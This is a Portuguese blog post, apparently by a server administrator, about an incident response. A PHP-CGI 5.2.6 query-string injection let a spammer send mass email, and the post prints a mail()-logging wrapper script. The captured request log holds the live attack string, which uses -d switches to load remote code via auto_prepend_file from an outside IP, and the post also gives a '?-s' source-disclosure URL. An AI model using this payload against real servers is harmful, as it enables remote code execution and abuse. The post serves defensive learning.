PHP-CGI query string parameters vulnerabitily

Uma massa de emails que lotou o espaço em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espaço em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execução de código arbitrário a partir dos parâmetros de linha de comando. Ou seja com o comando

http://localhost/index.php?-s

Você obtém o conteúdo do código PHP. Isso é muito bizarro!

1. O que estava acontecendo?

Uma massa de emails de spam estavam sendo enviados como sendo da Fedex, identificamos esses emails e paramos o Postfix. No momento em que paramos, observamos a crescente fila de email e o decrescente espaço em disco.

Localizamos o foco da invasão, um dos sites que administramos estava com permissão na pasta e nos arquivos de usuário e grupo para o www-data. E o spammer havia criado um arquivo chamado pagenews.php e umas variações de w98089n.php (w[0-9]{1,8}n.php, mais ou menos isso).

O arquivo pagenews.php e as suas cópias w[0-9]{1,8}n.php continham um exploid com uma lista de diretorios, opções de criar, remover e editar aquivos, enviar email, e enviar em lote, além de um console e auto-remove.

De imediato criamos uma copia do pagenews.php, para analizarmos depois, e em seguida deletamos todos os arquivos. Em seguida mudamos as permissões da pasta e arquivos para um usuário padrão e seguro. Com isso achamos que os disparos de emails fosse parar, mas não foi o que aconteceu, a fila de emails só crescia.

Dai então procuramos por todo o servidor por rastros de outros arquivos e não encontramos nada!

2. O que fizemos?

Nesse servidor invadido só roda PHP, ou seja estavam de alguma forma usando a função mail() para disparar spams. Dai seguindo as dicas desse site (http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam) criei um wrapper pra monitorar o envio dos emails usando a função mail do PHP. Funcionou muito bem, dai fiz um up nele. Na verdade eu não queria só saber de qual site estava sendo disparado o email, mas queria saber também de qual script php, e quais parametros estavam sendo passados para ele, logo o meu phpsendmail ficou assim.

/usr/local/bin/phpsendmail

#!/usr/bin/php

*/
$sendmail_bin = '/usr/sbin/sendmail';
$logfile = '/var/log/mail.form';
//* Get the email content
$logline = '';
$pointer = fopen('php://stdin', 'r');
while ($line = fgets($pointer)) {
        if(preg_match('/^to:/i', $line) || preg_match('/^from:/i', $line)) {
                $logline .= trim($line).' ';
        }
        $mail .= $line;
}
//* compose the sendmail command
$command = 'echo ' . escapeshellarg($mail) . ' | '.$sendmail_bin.' -t -i';
for ($i = 1; $i < $_SERVER['argc']; $i++) {         $command .= escapeshellarg($_SERVER['argv'][$i]).' '; } //* Write the log file_put_contents($logfile, date('Y-m-d H:i:s') . ' ' . " \n\n ----\n".print_r($_ENV,true)."\n\n" . ' '     .$logline."\n\n", FILE_APPEND); //* Execute the command return shell_exec($command); ?>

O passo a passo pode seguir o do link do site que eu mandei, o wrapper recomendo usar o meu que fica mais fácil de ver as variáveis de ambiente no momento da execução do código.

Feito isso, comecei a monitorar o /var/log/mail.form com o comando tail.

shell~# tail -f /var/log/mail.form

O retorno foi inesperado e surpreendente como segue:

To: xxxxxxx@yahoo.com From: "FedEx Service" <information@fedex.com>
2012-06-08 12:16:32
 ----
Array
(
    [SERVER_SIGNATURE] => <address>Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 Server at meusiteemphp.com.br Port 80</address>
    [ORIG_PATH_TRANSLATED] => /var/www/sites/meusiteemphp/index.php
    [REDIRECT_SCRIPT_URL] => /index.php
    [HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0
    [SERVER_PORT] => 80
    [HTTP_HOST] => meusiteemphp.com.br
    [REDIRECT_SCRIPT_URI] => http://meusiteemphp.com.br/index.php
    [HTTP_EXPECT] => 100-continue
    [REDIRECT_HANDLER] => php5-cgi
    [DOCUMENT_ROOT] => /var/www/sites/meusiteemphp
    [SCRIPT_FILENAME] => /var/www/sites/meusiteemphp/index.php
    [REQUEST_URI] => /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [SCRIPT_NAME] => /index.php
    [SCRIPT_URI] => http://meusiteemphp.com.br/index.php
    [REMOTE_PORT] => 32822
    [ORIG_SCRIPT_FILENAME] => /usr/lib/cgi-bin/php5
    [PATH] => /usr/local/bin:/usr/bin:/bin
    [SCRIPT_URL] => /index.php
    [PWD] => /var/www/sites/meusiteemphp
    [SERVER_ADMIN] => exemplo@exemplo.com.br
    [REDIRECT_STATUS] => 200
    [REDIRECT_QUERY_STRING] => -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [ORIG_SCRIPT_NAME] => /php5-cgi
    [HTTP_ACCEPT] => */*
    [REMOTE_ADDR] => 31.184.244.28
    [SHLVL] => 1
    [SERVER_NAME] => meusiteemphp.com.br
    [CONTENT_LENGTH] => 370977
    [SERVER_SOFTWARE] => Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
    [QUERY_STRING] => -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [SERVER_ADDR] => 173.255.255.255
    [GATEWAY_INTERFACE] => CGI/1.1
    [SERVER_PROTOCOL] => HTTP/1.1
    [REDIRECT_URL] => /index.php
    [CONTENT_TYPE] => multipart/form-data; boundary=----------------------------0e65a7f6d6ad
    [REQUEST_METHOD] => POST
    [ORIG_PATH_INFO] => /index.php
    [_] => /usr/local/bin/phpsendmail
)

Atenção aos indices REQUEST_URI e REQUEST_HANDLER. Ataque claro:

-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt

Peguei o arquivo send.txt e tinha um código todo organizado e bonitinho para envio de email. Com esses parametros a invasão estava dada, foi assim que o spammer conseguiu criar o arquivo pagenews.php e seus derivados, e mesmo após deletarmos os arquivos ele continuou mandando email.

Achei o seguinte no PHP.net https://bugs.php.net/bug.php?id=61910 :

According to PHP's website, "PHP is a widely-used general-purpose
scripting language that is especially suited for Web development and
can be embedded into HTML." When PHP is used in a CGI-based setup
(such as Apache's mod_cgid), the php-cgi receives a processed query
string parameter as command line arguments which allows command-line
switches, such as -s, -d or -c to be passed to the php-cgi binary,
which can be exploited to disclose source code and obtain arbitrary
code execution.

Dito e feito, funcionou de verdade, e o pior que foi comigo.
Mas fica para aprendermos.

3. O que foi feito?

Atualizamos a versão do PHP da 5.2.6 para a 5.4.3 e aparentemente o envio em massa de email foi interrompido, de qualquer forma continuamos o monitoramento dos emails.

Boa sorte!

Referencias:
http://www.php.net/archive/2012.php#id2012-05-03-1
https://bugs.php.net/bug.php?id=61910
http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.